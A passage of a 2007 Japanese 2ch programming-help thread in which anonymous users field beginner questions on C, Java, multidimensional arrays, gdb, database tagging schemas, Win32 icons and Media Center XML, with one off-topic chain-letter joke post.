表示したい画像を書き出すという形で
背景と画像の書き出しを行いたいとおもっております.
168デフォルトの名無しさん:2007/01/03(水) 22:20:34
>>166
列のなかで一番幅の広いのを探せばいいんだよ。わかるかな?
169デフォルトの名無しさん:2007/01/03(水) 22:21:11
>>166
横に並べる画像の数と、すべての画像の横サイズと、
1ラインにおける最大の横サイズの場所とそのラインの画像の位置がわかれば
各画像のX座標がわかるだろ?
ていうか、未来に向かって答えられてもな。OSも言語も答えないつもりらしいし。
170デフォルトの名無しさん:2007/01/03(水) 22:23:25
しかも解決したわけでもないのに問題点が>>156からまた変わってる。
171デフォルトの名無しさん:2007/01/03(水) 22:24:20
よくできた釣りだなと感心しております。
172デフォルトの名無しさん:2007/01/03(水) 22:25:38
>>170
それは言っちゃらめ><
173139:2007/01/03(水) 22:28:01
大体の感じがつかめた感じなので実際に試してみようと思います.

新年早々ご迷惑をおかけして申し訳ございません.

...一応OSはVM上に載せてたdevianで言語はcでした.
失礼します.
174デフォルトの名無しさん:2007/01/03(水) 22:35:26
もしかして: Debian
175デフォルトの名無しさん:2007/01/03(水) 23:33:12
こういった技術を学び始める人って、大体何歳?というと変ですが、どの辺から学び始めるんですかね?、高校卒業後に専門行くとか、そのへんですか?
176デフォルトの名無しさん:2007/01/03(水) 23:35:22
>>175
どうしてプログラマ板で聞かないんだ?
177デフォルトの名無しさん:2007/01/03(水) 23:48:59
みなさんAll-In-One Eclipseって使われてますか?
なんか、使ってるとぐだぐだになってくるんですが・・・。
178デフォルトの名無しさん:2007/01/04(木) 00:07:11
"ぐだぐだ"と言われても、どう"ぐだぐだ"なのかわからん。
179デフォルトの名無しさん:2007/01/04(木) 00:12:14
>>178
使い方がよくわからず、結局時間がかかるだけのような気がするのですが・・・。
180デフォルトの名無しさん:2007/01/04(木) 00:15:51
>175
始める時期は人それぞれ。ただ一つ言えるのは
最近はネット上(この板の各スレも含む)に色々な情報があるから
好きな奴は小学生だろうが中学生だろうがやり始められる。

学校は基礎的なアルゴリズムや各種用語など
色んな事が学べるのは確か。
・義務になってしまう
・パソコン関連の厄介事を頼まれる可能性
などの欠点もあるがな。

ちなみにプログラミングを仕事にした場合の末路は
マ板で各スレのログを漁ってみれば色んな愚痴が聞けるぞ。
181デフォルトの名無しさん:2007/01/04(木) 00:24:09
プログラミングのおかげでNEETから脱出できました。(本当)
ありがとう>w<ノ。
182デフォルトの名無しさん:2007/01/04(木) 01:41:43
何処で訊けば良いのか解らなかったので
ここで質問させて下さい。スレ違いなら申し訳ないです。
情報セキュリティーでISO/IEC 15408 の意味が調べても解らなく困っています。
比喩(簡単に違う物に喩えて)解説しては戴けないでしょうか?
宜しくお願い致します。
183デフォルトの名無しさん:2007/01/04(木) 01:49:26
自作のプログラムで2の平方根を1万桁求めるプログラムを作りました。
僕の作ったプログラムでは平方根を1万桁求めるのに1分45秒掛かりました。

ネットにある平方根を求めるサンプルプログラムでは1万桁の計算をするのに
1.5秒でできました。

両方とも自分の環境で実行しました。
PCのスペックはCPUはC2D E6300でメモリは1GBです。

これは僕のプログラミングの処理が悪いのでしょうか。
184デフォルトの名無しさん:2007/01/04(木) 01:50:00
>>183
その通りです。よくわかりましたね。
185ホモ紳士 ◆xsMI36idT6 :2007/01/04(木) 01:50:08 BE:395775239-2BP(555)
情報セキュリティー ISO/IEC 15408 - Google 検索
186デフォルトの名無しさん:2007/01/04(木) 04:59:06
>>179
こういうのは相性があるからな。自分に合わないと思ったら、諦めて他のを使ったらいい。
仕事とかでどうしても使わなければならない時は・・・ 使ってりゃ、そのうち慣れるさ。
187デフォルトの名無しさん:2007/01/04(木) 12:09:24
アクセスするとクライアントのグローバルIPをただ一行の表示で返してくれる
WEBサイトがあったと思うんですがどこでしたっけ?
188デフォルトの名無しさん:2007/01/04(木) 12:52:25
タナカです。と表示させるプログラムをつくりたいのですが、下のようにうつと
エスケープシーケンスの使い方が正しくない
構文エラー
定数が2行目に続いています
となるのですが、なにが悪いのでしょうか?
本をみながらやっているのですが、同じようにうってるはずなのに・・・
#include <stdio.h>

int main(void) ;

int main(void)
{
printf("タナカです。"\n");
return(0);
}
189デフォルトの名無しさん:2007/01/04(木) 12:58:58
190188:2007/01/04(木) 13:00:58
すみません。解決しました
191デフォルトの名無しさん:2007/01/04(木) 13:56:26
WindowsのShDocVw.dllとMSHTML.dllのそれぞれ機能について教えてください。
特にShDocVw.dllが何をするものなのかよくわかりません。
192デフォルトの名無しさん:2007/01/04(木) 14:58:55
WinXP + Delphi6 です。
iTunesをコントロールするアプリを作っているのですが、
任意のプレイリストを指定する方法が判りません。どうすればいいでしょうか?
プレイリストの名前自体は
for i:=1 to iTunesApp.LibrarySource.Playlists.Count do
ListBox1.Items.Append(iTunesApp.LibrarySource.Playlists.Item[i].Name);
で取得できました。
193デフォルトの名無しさん:2007/01/04(木) 15:13:01
海外でプログラムソースも一緒に公開している、日本で言えばCodZine
http://codezine.jp/default.aspx
みたいなサイトの名前が思い出せない・・・・なんだったっけ?
誰か教えて、Windowsのオープンソース公開しているサイト名
タノンマス
194デフォルトの名無しさん:2007/01/04(木) 15:36:09
ttp://sourceforge.net/
のことか?
195デフォルトの名無しさん:2007/01/04(木) 16:40:56
C89のJISでの規格書(JIS X3010-1993)は
現在入手することが出来ますか?
196デフォルトの名無しさん:2007/01/04(木) 16:56:54
あたりまえやん
197デフォルトの名無しさん:2007/01/04(木) 17:40:38
>>194
サンクスだけどそこじゃなくて、何だったっけほら
もう少し派手めの感じのやつ、ほら?
えーっと、明日会社に行けば分かるのだが・・・・
198デフォルトの名無しさん:2007/01/04(木) 17:42:40
ほら
199デフォルトの名無しさん:2007/01/04(木) 17:49:08
>>195
昔のJISハンドブックは情報学部とかを抱えた大学図書館でコピーすれ。近くの国公立大学図書館なら利用資格内で利用できるだろ。
もしくは、日本規格協会から購入したものには、解説があり、改訂内容が書かれてあるから、日本規格協会から買え。価格は1〜2万円ほどしたと思う。
200デフォルトの名無しさん:2007/01/04(木) 17:56:50
ほら
201デフォルトの名無しさん:2007/01/04(木) 18:04:18
>>199
ありがとうございます。
202デフォルトの名無しさん:2007/01/04(木) 18:16:59
ほら
203デフォルトの名無しさん:2007/01/04(木) 18:21:22
API、クラスライブラリー、アプリの動く仕組みがよくわかりません。

Eclipse,Javaで携帯用アプリを作ることになったのですが、
IApplicationみたいにインポートしないと使えないクラスと、Threadとかインポートなしで使えるクラスは何が違うんでしょう。
DojaやMIDCというAPIのリファレンスを見て作ってるんですが、それにThreadとか基本的なクラスは載っていません。
そういうクラスはDojaとかに含まれているんでしょうか?
それともJavaのSDKをインストールしたとこから読みこんでるんでしょうか?
そして携帯にはJavaの基本クラスとDojaやMIDCのAPIはもとから入っているんでしょうか?

あと、APIとクラスライブラリというのは同じものですか?
DirectXやWin32APIというのもDojaと同じ次元のものですか?

質問多くてすいません。一部でもいいので回答お願いします。
204デフォルトの名無しさん:2007/01/04(木) 18:22:52
javaはコンストラクタでのreturnにはどんな意味があるんですか?
205デフォルトの名無しさん:2007/01/04(木) 18:30:54
>>203
Javaのスレッドはライブラリじゃなくて言語仕様の一部
206デフォルトの名無しさん:2007/01/04(木) 18:47:27
>>204
returnの時点でコンストラクタから抜ける。
207デフォルトの名無しさん:2007/01/04(木) 18:59:33
>>205
ThreadとかSystemとかExceptionというのは、Javaを使える環境なら、
何もしないでもいつでも使えるということですか。
それらはJavaをインストールしたとこのjreに入ってるんでしょうか?
208デフォルトの名無しさん:2007/01/04(木) 19:13:09
>>203
Threadがインポートなしで使えるのはjava.langパッケージに属しているから。
java.langパッケージのクラスは言語仕様で自動的にインポートされていることになる。
209デフォルトの名無しさん:2007/01/04(木) 19:24:58
>>208
明快な回答ありがとうございます。一つ疑問が解けました。
210デフォルトの名無しさん:2007/01/04(木) 19:55:12
>>203
MEは触ったことがないのでよく分からないが、
基本的なクラスもDoJa等の拡張ライブラリのクラスも
携帯のJVMのクラスローダがアクセスできるところに置かれているはず。
それが携帯のチップ内なのかネットワーク上のどこかなのかは知らないけど。
どこに置かれているかは別にして、
基本クラスも拡張ライブラリも携帯で元から使えるという意味では、
携帯にもとから入っているといってもいいのかも。
211デフォルトの名無しさん:2007/01/04(木) 20:21:40
直球で質問

libjpegをVC8でビルドする方法を教えて下さい
libjpegのソースに同梱されているVisualStudioのプロジェクトファイルは古過ぎて
VC8のプロジェクトファイル変換時にエラーを出してしまい使えませんでした
212デフォルトの名無しさん:2007/01/04(木) 23:14:24
ビデオキャプチャボードからの映像信号に画像処理を施して表示するソフトを作りたいのですが、
どのようにして映像信号を取得すれば良いのでしょうか??
C言語とWin32apiは理解しています。
213デフォルトの名無しさん:2007/01/04(木) 23:14:59
質問です。

前橋和弥氏は、Cには多次元配列は無く、擬似的に配列の配列という形で
多次元配列的なものを作成することができるだけであると言っています。
そこで、以下のような疑問を持ちました。

○真の多次元配列とはどんなものか?
○どんな言語で搭載されているのか?
○真の多次元配列を持った言語が有ったとして、その言語の一般的な
  コンパイラは多次元配列を配列の配列として実装していたりすることは
  無いのか?

誰か教えてください。
214デフォルトの名無しさん:2007/01/04(木) 23:33:05
>>213
解答です。

○前橋和弥氏に聞いて下さい。
215デフォルトの名無しさん:2007/01/04(木) 23:39:31
>>213
そこで、以下のような疑問を持ちました。

○どうして前橋和弥氏に聞かないのか?
216デフォルトの名無しさん:2007/01/04(木) 23:56:24
>>206
http://www.tohoho-web.com/java/class.htm#super
値を返しているんですけど何故ですか。
217デフォルトの名無しさん:2007/01/05(金) 00:10:29
>>212
DirectShowを使え。
218212:2007/01/05(金) 00:18:44
>>217
DirectShowですね!
ありがとうございました!
219デフォルトの名無しさん:2007/01/05(金) 04:20:23
>213
持ってる範囲の知識で書いてみる。
間違い見つけたら訂正plz。

【配列の配列】
配列の各要素に「配列へのポインタ」を格納する
大要素の中に小要素が入っているイメージ
[0] -> [0][1][2][3][4]
[1] -> [0][1][2]
[2] -> [0][1][2][3]

【真の多次元配列】
各要素が連続して要素に大小の区別は無い
[0,0][0,1][0,2][0,3][0,4]
[1,0][1,1][1,2][1,3][1,4]
[2,0][2,1][2,2][2,3][2,4]

実際のところはこの方が正確だろうな
[0,0][0,1][0,2][0,3][0,4][1,0][1,1][1,2][1,3][1,4][2,0][2,1][2,2][2,3][2,4]

【どんな言語】
BASICのdimコマンドなどが有名か。

ちなみにCでもやろうと思えば
int ary[3*5];    /* [3,5] の要素を持つ配列を確保 */
ary[1*5 + 3]    /* [1,3] にアクセスする */

【実際は多次元配列を…】
環境による。どちらにしても言えるのは
配列の配列しか扱えない環境には多次元の扱いが面倒な言語もあるが
多次元配列を実装している環境ならそれを扱いやすい仕様になっているはず。
220デフォルトの名無しさん:2007/01/05(金) 10:36:35
手間がかかるか、手間がかからないって話?
221デフォルトの名無しさん:2007/01/05(金) 10:53:46
言語による多次元配列サポートつったら
字面的にarr[i][j]ではなくarr[i,j]って宣言・アクセスできるって程度の話じゃねーの。
とりあえずPascalは可能だな。

typeFruit = (Apple, Banana, Cherry);
var arr: array[0..10, False..True, Apple..Cherry] of Integer;
arr[5, False, Banana] := 5;
222デフォルトの名無しさん:2007/01/05(金) 12:43:31
コボルだと7次元くらいできなかったっけ。
聞いただけの話なんで知らんけどw
223デフォルトの名無しさん:2007/01/05(金) 13:32:10
メモリの配置方法が違うんでない?>多次元配列/配列の配列
224デフォルトの名無しさん:2007/01/05(金) 13:42:30
つーか、配列のサイズを呼び出し側がわかってないとならんだろう、配列の配列は
225デフォルトの名無しさん:2007/01/05(金) 15:06:13
>>213
からくりは単純

たとえばC#ではint[,](多次元配列)とint[][](配列の配列)があるが、
Cでいうとそれぞれ配列の配列と配列ポインタの配列にあたる。
226デフォルトの名無しさん:2007/01/05(金) 19:49:44
デバッガ(gdb)の使い方について質問させてください。

プログラム中で
double a = 123.4 ;
と変数aの値を指定するとします。
この変数をprintコマンドで出力すると
(gdb) p a
$1 = 123.4
という風に表示されますよね。これを
$1 = 1.23400e+02
という形式に変更できないでしょうか?
桁数が上がるといちいち何桁か数えなくてはならず困っています.
227デフォルトの名無しさん:2007/01/05(金) 20:36:09
文字認識のようなプログラムが書きたいんですが
一般的なソフトではどんなアルゴリズムが使われているんでしょうか
KNN法ならわかるんですが、計算量が多くてリアルタイムでは無理でした
228デフォルトの名無しさん:2007/01/05(金) 22:35:41
ニューラルネットワークでも組んどけ。
229デフォルトの名無しさん:2007/01/05(金) 22:47:16
>>227
パーセプトロン
230デフォルトの名無しさん:2007/01/06(土) 00:30:41
NTFSからFAT32フォーマットのUSBメモリにコピーすると
なんで更新日付が変わるんですか?
231デフォルトの名無しさん:2007/01/06(土) 00:34:20
ファイルシステムが何なのかは関係なく、コピーしたから。
コピーする時点で、コピー先に新しいファイルが作られるという扱い。
232デフォルトの名無しさん:2007/01/06(土) 00:47:59
>>213
「真の多次元配列」とか妙に言いたい奴いるけど、
その言葉の説明がないものは言葉遊びをしてるだけだと思われても
仕方が無いだろうね。

その人の意図しているところがどこにあるかは知らないけど、
よく言われるのは、添字の扱いが平等でないってとこ。
例えば int a[M][N]; は行列みたいに扱えるわけだけど、
a[i] みたいにして一行取り出して別関数に渡すようなことは簡単にできるけど、
一列取り出すことは、少なくとも言語仕様によってサポートされてはいない。

ここら辺をサポートしだすと、単なる配列の配列とは違って、
動的に決めなくてはならない余分な情報が必要になってくる。
C の配列の配列にはそういう余分な情報は全くなくて、
先頭アドレスと、あとは静的に得られる配列のサイズとでしか扱われない。

Fortran90 あたりを参照すると、
真の多次元配列ってのが何なのか分かるんじゃないかと思う。
233227:2007/01/06(土) 01:42:53
>>228,229
調べてみます。ありがとうございました
234デフォルトの名無しさん:2007/01/06(土) 02:15:48
プログラムの勉強のためシューティングゲームを作ろうとしてるんですが、自分のやり方がいいのか悪いのか分かりません。

同じ種類の弾がたくさんでるとき、弾オブジェクトの配列を作り、
新しく弾ができたら、配列の後ろに弾オブジェクトを追加する、
もし配列の途中に空いてるところがあれば、後ろでなくそこに新しい弾オブジェクトをさしこむ。

こんな感じに作ってるんですが、弾配列の中でどこが空いてるか探したり、
配列番号の最大値を管理したりしないといけないのでめんどくさいです。

もっといい方法や、セオリーを知ってる人がいたら教えてもらえませんか。
ちなみにJavaしか分かりません。
235デフォルトの名無しさん:2007/01/06(土) 04:12:03
めんどくさいってなんだよw
空いてる要素探すのはループ1つ回せばいいだけじゃん?
配列の要素数の最大なんて定数宣言して決め打ちでいいよ。
236デフォルトの名無しさん:2007/01/06(土) 04:16:04
Objectの作成、Listへの追加・挿入は比較的コストが高くなりがちな操作。
最近のPCじゃさほど問題にならないような気もするけど。

昔の手法だと、最初から最大Object数を固定しておいて、
その範囲内でActiveなObjectと、そうでないObjectのステートを持てるようにして、
画面内にあればActive、
新規に撃つ弾はActiveでないものを探して座標設定・Active化する、とか。
ステートを持たせるのは、OOPなら問題にならないだろ?
習作で作っているようだから、そんな方向性でやってみるのもいいかもね。

つーか、この手の話はゲ製板あたりの過去ログに良スレなかったっけか。
ム板はむしろ技術的な話で、その手の手法系はゲ製板とかのほうが良いかもしれんよ。
237デフォルトの名無しさん:2007/01/06(土) 16:02:47
The page cannot be found
http://lab.msdn.microsoft.com/express/vjsharp/

あ?
238デフォルトの名無しさん:2007/01/06(土) 16:05:27
よくあるタグの仕組みを実現したいんだけど、
データベースで可変長のデータを持つにはどうするのが定石ですか?

表現したいのは単純にURLとタグだけだとして、
例えば

URL: http://www.2ch.net/    タグ: 2ch 雑談 掲示板 ネタ
URL: http://www.google.com/ タグ: 検索
URL: http://localhost/      タグ:
URL: http://www.yahoo.co.jp  タグ: 検索 ポータル

のように、ひとつのURLに対して0〜複数個のタグを保持するようにしたいのです。
239デフォルトの名無しさん:2007/01/06(土) 16:13:43
URLにIDをつけて、ID-タグのテーブルとリレーションを組む。

TABLE urls
* UNIQUE INT id
* VARCHAR url

TABLE tags
* INT url_id // == urls.id
* VARCHAR tag
240238:2007/01/06(土) 17:35:11
>>239
ありがとうございます。
やはりそうするのがいいんでしょうか。少し冗長な気がして躊躇していたのですが。

例えば>>238の例だと、「検索」というタグは google と yahoo をそれぞれ指す、
2つのレコードとして作成する必要がありますよね?

それがいやなら、urls と tags を中継するリレーションを貼らなくてはいけない、ってことでしょうか。
241デフォルトの名無しさん:2007/01/06(土) 17:43:39
データベースってそういうものだって。
タグをセパレータで連結して一つの文字列で持ってもいいけど、まともな速度ではタグから検索できないよ?

INSERT INTO urls (id, url) VALUES (0, "http://google.com/"), (1, "http://yahoo.co.jp/");
INSERT INTO tags (url_id, tag) VALUES (0, "検索"), (1, "検索"), (1, "ポータル");

SELECT urls.url FROM urls, tags WHERE urls.id = tags.url_id AND tags.tag = "検索";
242 :2007/01/06(土) 17:50:25
ウィンドウクラスWNDCLASSEX構造体を登録する時に
hIcon、hIconSmとふたつアイコンハンドル指定するメンバがありますが
wc.hIcon = LoadIcon(hInstance, "MY_ICON");  // "MY_ICON"は自作アイコンです
として、hIconSmメンバには
wc.hIconSm = wc.hIcon;
とhIconメンバをそのまま代入しても問題ないのでしょうか?
それとも1つづつLoadIcon()にてロードしないといけませんか?
243デフォルトの名無しさん:2007/01/06(土) 18:55:18
問題ない。

>234
配列じゃなくてスタック、もしくはキューを使うといい。
ゲームで、画面要素ごとに配列を作るのは負け組っぽい。

これ以上は夢精板へ。
244デフォルトの名無しさん:2007/01/06(土) 22:51:04
>>242
LoadImageで大きさを指定して読み込め。大きさは大小の縦横それぞれ
GetSystemMetricsにSM_CXICON/SM_CYICONとSM_CXSMICON/SM_CYSMICONを指定して得られる。
複数の大きさを持つアイコンではこうしないと適切な大きさのものが使われないと思う。
それにLoadIconは、使えるけどLoadImageを使えとMSDNにも書かれているし。
245デフォルトの名無しさん:2007/01/07(日) 09:13:20
char型って何て呼ぶんですか?
チャー?
キャラ?
246デフォルトの名無しさん:2007/01/07(日) 09:32:10
シャア
247デフォルトの名無しさん:2007/01/07(日) 09:33:05
好きに呼べば良い。
248デフォルトの名無しさん:2007/01/07(日) 11:07:31
Perlで、WinXP MCE向けに、iEPGをC2Rに変換して
Webの番組表から番組を予約できるようにするスクリプトを組んだのですが、
MCEが「無効な予約要求」と表示して予約を受け付けてくれません。
どなたかXMLの問題点を指摘していただけませんか。

スクリプトが吐くXMLは下記の通りです。
<?xml version="1.0" encoding="utf-8" ?>
<clickToRecord xmlns="urn:schemas-microsoft-com:ehome:clicktorecord">
<body>
<metadata>
<description>草なぎおすぎとピーコの女子アナ07もっと大人になりたいのっ!SP ▽美人女子アナ45人の爆笑NG...</description>
<expires>2120-01-01T00:00:00Z</expires>
</metadata>
<programRecord postpadding="35" programDuration="60">
<service>
<key field="urn:schemas-microsoft-com:ehome:epg:service#name" match="exact">関西テレビ</key>
</service>
<airing>
<key field="urn:schemas-microsoft-com:ehome:epg:airing#starttime">2107-01-08T19:00Z+0900</key>
</airing>
</programRecord>
</body>
</clickToRecord>

SDKのドキュメントは下記URLです。
ttp://download.microsoft.com/download/2/b/0/2b0013a3-ec4b-493e-9924-5bc94c526574/MedctrSDK.chm
249デフォルトの名無しさん:2007/01/07(日) 11:27:26
airingが無茶苦茶でした。
もう一度自分でチェックします。
250デフォルトの名無しさん:2007/01/07(日) 11:52:39
2107-01-08?

って自己レスしてるね。
SDK調べて損した…
251248:2007/01/07(日) 13:42:33
>>250
すみません。

2107の21は世紀なんであってますよね?
まだ「この番組は番組ガイドに見あたらない」と出て予約できません。
宜しければ通りそうなXMLを示していただけませんか。
252248:2007/01/07(日) 14:04:43
<?xml version="1.0" encoding="utf-8" ?>
<clickToRecord xmlns="urn:schemas-microsoft-com:ehome:clicktorecord">
<body>
<metadata>
<description></description>
</metadata>
<programRecord programDuration="60">
<service>
<key field="urn:schemas-microsoft-com:ehome:epg:service#callsign" match="exact">読売テレビ</key>
</service>
<airing searchSpan="0">
<key field="urn:schemas-microsoft-com:ehome:epg:airing#starttime">2107-01-07T15:00:00+09:00</key>
</airing>
</programRecord>
</body>
</clickToRecord>

って感じで通りました。お手数おかけしました。
253デフォルトの名無しさん:2007/01/07(日) 17:05:59
すいませんが質問です。
windowsXPの環境でmakefileを実行するには何が必要でしょうか?
254デフォルトの名無しさん:2007/01/07(日) 17:08:05
そのmakefileを理解できるmake。
255デフォルトの名無しさん:2007/01/07(日) 19:06:23
HDDレコーダとかでCMスキップして録画できるのとかあるけど
どんなアルゴリズム(?)が考えられますか?
256デフォルトの名無しさん:2007/01/07(日) 19:15:10
257デフォルトの名無しさん:2007/01/07(日) 20:12:36
仕様を決めるときの架空のアクターのことをなんていうんでしたっけ?
258デフォルトの名無しさん:2007/01/07(日) 20:37:11
>256 Aさん
259デフォルトの名無しさん:2007/01/08(月) 01:00:34
就職活動中なんですが
文理問わずなSI企業な某社にエントリーしたところプログラミング経験を問われました。
経験ありますか?あるなら何やりましたか?無いなら無いって書けって感じで。

やったことねえよ!!ってのが本音なんですが
Flashのアクションスクリプトがwikipedia的にはプログラミング言語らしくてそれなら数年やってます
が普通に考えてSI企業とは関係なさげ

プログラミングって何か知ってる?程度の質問なのか
使えるかどうかの判断基準なのかが不明瞭すぎて
あると書いた方が良いのか悪いのか・・どっちなんでしょ

ってスレ違い感は相当否めないんですが
SE関係の人、自分ならどっちで聞くかを教えて頂けるとこれ幸いです
260デフォルトの名無しさん:2007/01/08(月) 02:06:15
嘘つきかそうじゃないかを試してるんだろ
いい加減に書いてもすぐばれるから正直に書け
261デフォルトの名無しさん:2007/01/08(月) 03:04:39
C and C++ Forum
http://forums.belution.com/ja/cpp/
ここ昨日の午後から繋がらないんだけど、みんなもそう?
262デフォルトの名無しさん:2007/01/08(月) 03:13:28
お前だけ
263デフォルトの名無しさん:2007/01/08(月) 03:53:51
お前だけ
264デフォルトの名無しさん:2007/01/08(月) 03:55:44
>>261
俺も
265デフォルトの名無しさん:2007/01/08(月) 03:58:56
お前だけ
266デフォルトの名無しさん:2007/01/08(月) 06:12:54
>>261
俺も
267デフォルトの名無しさん:2007/01/08(月) 10:09:46
C and C++ Forum
http://forums.belution.com/ja/cpp/ここの復活はまだかゴルァ━(゚Д゚Д゚)━!! プン
268デフォルトの名無しさん:2007/01/08(月) 13:21:25
サーバー管理者にメールば送っといた、ばってんちゃんと見てくれるかのぉ・・・・・
心配じゃ
269デフォルトの名無しさん:2007/01/08(月) 16:46:46
つながらないのでこっちに書きますね。
「とりあえずデストラクタを仮想にする」のは危険です。
なるべく継承を使わない。Exceptional C++ 項目22のGuidelineの解説。
270デフォルトの名無しさん:2007/01/08(月) 19:25:39
言語にはCとかJavaとかいろいろありますが何でバイナリそのものが言語のプログラミングがないんですか?
271デフォルトの名無しさん:2007/01/08(月) 19:28:22
あるよ。マシン語。
ただ誰もやりたくないから使わないだけで。
272デフォルトの名無しさん:2007/01/08(月) 19:32:07
>>270
アセンブリ言語の事?
273デフォルトの名無しさん:2007/01/08(月) 19:37:09
マシン語で簡単なプログラムなら組んだ事あるな。
DOS 時代の話だが。
その頃はまだ知識が足りなかったから、
NOP 使うと組みやすいということに気づかなかったな。
274デフォルトの名無しさん:2007/01/08(月) 19:56:43

NOPって何もしないって命令だけど、使うと何が組みやすくなったのか?
簡単なプログラムって書いてるから
LOOPの時間稼ぎが簡単になったってことが言いたいのか
275デフォルトの名無しさん:2007/01/08(月) 20:06:38
>>270
昔の達人は、バイナリプログラムやってたなりww
276デフォルトの名無しさん:2007/01/08(月) 20:07:11
今も高速化のために_asmを使う事は珍しくない。
277デフォルトの名無しさん:2007/01/08(月) 20:30:27
ジャンプの指標にNOP置いとくって話だろ
278デフォルトの名無しさん:2007/01/08(月) 21:29:27
>274
アセンブリじゃNOPを使う必要は
マシン語ほどには無いからね

マシン語の場合はアドレス計算せなならんから
NOP使わないとジャンプ先のアドレスを
毎回計算する羽目になるわな

まぁ、結局は素直に
アセンブラや高級言語をお勧めする
それならNOP使う必要もない
279デフォルトの名無しさん:2007/01/08(月) 21:55:01
宿題でどうしてもやらないといけなくなったのですが、
C言語で「十」という文字だけをprintfで表示したい場合、どうしたらいいでしょう?

ただ、以下の制約があります
・printf("十\"); と書くと、自分の環境ではエラーは出ませんが、課題受理側ではコンパイル不能となり受け取りを拒否されます。
 (環境の違いらしく、これはこちら側ではどうにもなりません)
・printf("十");では自分の環境でも課題受理側の環境でもエラーが出ます。
・ソースはShift-JISで書かないといけないと決められています
・十の前後に余計な文字や改行を入れてはいけない(空白等は入れてはいけない)
・十という文字を使わないといけない(+などを代用などは当然ダメ)

perlみたいにシングルクォーテーションで囲むなどはC言語では使えないみたいなので、どうしたらいいかわからず困ってます。
何かいい方法はないでしょうか。
280デフォルトの名無しさん:2007/01/08(月) 21:59:10
現行の VisualC++ のバージョンは 8 ですが、(VC2005?)
これを使って作ったものはユーザーサイドに
新たにランタイムのインストールを迫るようです。

これのせいで、うちの会社では未だにVC6のくそ文法を利用しているのですが
VC7ではどうなのでしょうか?
やはりランタイムのインストールが必要なのでしょうか?

まぁ、もし使えたとしてもうちの会社の体質がかわるわけでは
ないのですけど・・・個人的な興味で。
281デフォルトの名無しさん:2007/01/08(月) 22:01:45
printf("十\n");
282デフォルトの名無しさん:2007/01/08(月) 22:03:49
>>281
それだと「十n」と表示されてだめみたいです…
283デフォルトの名無しさん:2007/01/08(月) 22:14:09
コンパイラに何を使ってるのかと、あと
艦橋晒せ
284デフォルトの名無しさん:2007/01/08(月) 22:14:09
\\
285デフォルトの名無しさん:2007/01/08(月) 22:23:37
>>283
コンパイラは(私の環境は)gccです
課題受理側はよくわからないのですが、ISO C89?というものらしいです
以前long long intを使用したプログラムを送ったところエラーが出ました
環境はOSがWinXPで、後は何を晒せばいいんでしょうか?無知ですいません。

>>284
gccでコンパイルエラーが出ました
286デフォルトの名無しさん:2007/01/08(月) 22:31:25
\0を格納したchar型の二次元配列を作り、
printf("十\%s",char[0]);のようにしたらいずれの環境でもエラーなく、レポートも受理してもらえました
お騒がせしてすいません、ありがとうございました
287デフォルトの名無しさん:2007/01/08(月) 22:51:44
>>285
-std=c89ってつけてコンパイルするといいよ。
288デフォルトの名無しさん:2007/01/08(月) 22:52:50
>>285
名前と住所と電話番号
289デフォルトの名無しさん:2007/01/08(月) 22:55:22
>>279
gccなら、--input-charsetと--exec-charsetを正しく設定してみたらどう?

>>280
VC7もVC8と同じくCRTを動的リンクするならランタイムが別途必要(VC6までのmsvcrt.dllは使えない)。
ただしVC7も8もランタイムDLLをEXEなどと同じフォルダに置くだけで動くようにすることはできる(VC8は1つ準備が要るが)。
290デフォルトの名無しさん:2007/01/08(月) 23:09:45
数学や古文が苦手で英語が得意な俺はプログラミングに向いてる?
291デフォルトの名無しさん:2007/01/08(月) 23:11:09
向けてる
292デフォルトの名無しさん:2007/01/08(月) 23:48:53
アルゴリズム考えるなら
数学の知識はあった方が色々便利だぞ。
293デフォルトの名無しさん:2007/01/09(火) 02:34:38
英語が得意ならプログラミングなんかしてないでイギリス人になれ
294デフォルトの名無しさん:2007/01/09(火) 02:35:16
質問させてください

繰り返し処理を使ってボタンをn個作成する時、
int i =i + 1;
を利用して各ボタンにそれぞれ名前を付けていきたいのですが、
nameの部分はどうすればいいのでしょうか?
未熟者ながら色々試してみたのですが、詰まってしまった為こちらでお聞きしました。

<input type="submit" name="●●●" value="ボタン" >これ
295294:2007/01/09(火) 03:16:48
294ですが、ちょっと自己解決しそうです。
失礼しました。
296デフォルトの名無しさん:2007/01/09(火) 03:26:54
>>279 >>286
>\0を格納したchar型の二次元配列を作り、
>printf("十\%s",char[0]);のようにしたらいずれの環境でもエラーなく、レポートも受理してもらえました

漏れならそんな無駄な書き方は不合格にする

printf("\x8F\x5C");
297デフォルトの名無しさん:2007/01/09(火) 03:52:20
漏れならそんな無駄な書き方は不合格にする
298デフォルトの名無しさん:2007/01/09(火) 06:12:47
printf("十\%c",0);
299デフォルトの名無しさん:2007/01/09(火) 06:30:42
printf("十");
で通らない>>279の使い方も課題受理側の環境も間違ってるだろ
>>279はgccなんだから>>289の指摘通り、
-finput-charset=CP932 -fexec-charset=CP932
で通るだろうし、課題受理側にはそんな馬鹿な環境さっさと改善してくれって要求汁
300デフォルトの名無しさん:2007/01/09(火) 10:26:39
課題受理側にはlintが入ってて
"十\"
の「\"」部分で刎ねてるんだろうなぁ

301デフォルトの名無しさん:2007/01/09(火) 12:20:26
x = √(12+√(12+√(12+√(12+√(12+・・・     ・・・)))
xの値は?
302デフォルトの名無しさん:2007/01/09(火) 15:03:13
>>301
x^2 = 12 + x の解だから、x=4 じゃね?
303デフォルトの名無しさん:2007/01/09(火) 15:10:39
アリの巣コロリってあるじゃん。
蟻の行列にポンと置くと、一瞬ビックリして列が乱れる。
邪魔だなと言わんばかりに迂回する列が出来る。
そのうち好奇心旺盛な一匹がアリの巣コロリに入る。
そいつをマネして何匹も入る。
毒とも知らずにツブツブを運び出す。一匹が一粒づつ。
いつのまにか行列はアリの巣コロリが折り返し地点になる。
黄色い粒と黒い蟻が作り出す模様は綺麗で見てて楽しい。
一匹が一粒づつ、丁寧にせっせと毒の粒を運ぶ。
せっせと、せっせと、せっせと、せっせと。
蟻さんって働き者だなと思う。俺も頑張らなきゃなと思う。
次の日、あれほど沢山いて俺を困らせた蟻が一匹もいない。
ほんとにいない。探してもいない。泣きたくなった。                   


このレスを見た人は4日後にあなたの大切な人がいなくなるでしょう・・・・
それが嫌ならこのレスを5つの板にコピペしてください。 
信じるか信じないかはあなた次第です。
304デフォルトの名無しさん:2007/01/09(火) 16:14:40
CPUはGPUの描画能力に影響を与えるのですか?
GPUがいくら凄くてもCPUが糞だとGPUの性能でない?
305デフォルトの名無しさん:2007/01/09(火) 16:59:35
描画能力には影響を与えないが
描画するデータを作るのはCPUだな
